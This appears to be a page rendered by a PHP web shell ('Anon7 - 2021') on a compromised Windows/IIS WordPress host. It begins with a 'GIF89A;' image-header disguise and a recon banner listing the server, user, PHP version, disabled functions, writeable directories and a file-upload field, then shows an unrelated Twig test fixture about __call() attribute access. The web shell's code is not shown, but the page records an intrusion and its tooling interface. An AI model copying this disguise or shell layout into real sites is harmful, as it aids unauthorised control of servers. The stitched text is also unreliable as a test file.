GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/twig/twig/test/Twig/Tests/Fixtures/expressions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/twig/twig/test/Twig/Tests/Fixtures/expressions/magic_call.test
--TEST--
Twig supports __call() for attributes
--TEMPLATE--
{{ foo.foo }}
{{ foo.bar }}
--DATA--
class TestClassForMagicCallAttributes
{
    public function getBar()
    {
        return 'bar_from_getbar';
    }

    public function __call($method, $arguments)
    {
        if ('foo' === $method) {
            return 'foo_from_call';
        }

        return false;
    }
}

return array('foo' => new TestClassForMagicCallAttributes())
--EXPECT--
foo_from_call
bar_from_getbar

Anon7 - 2021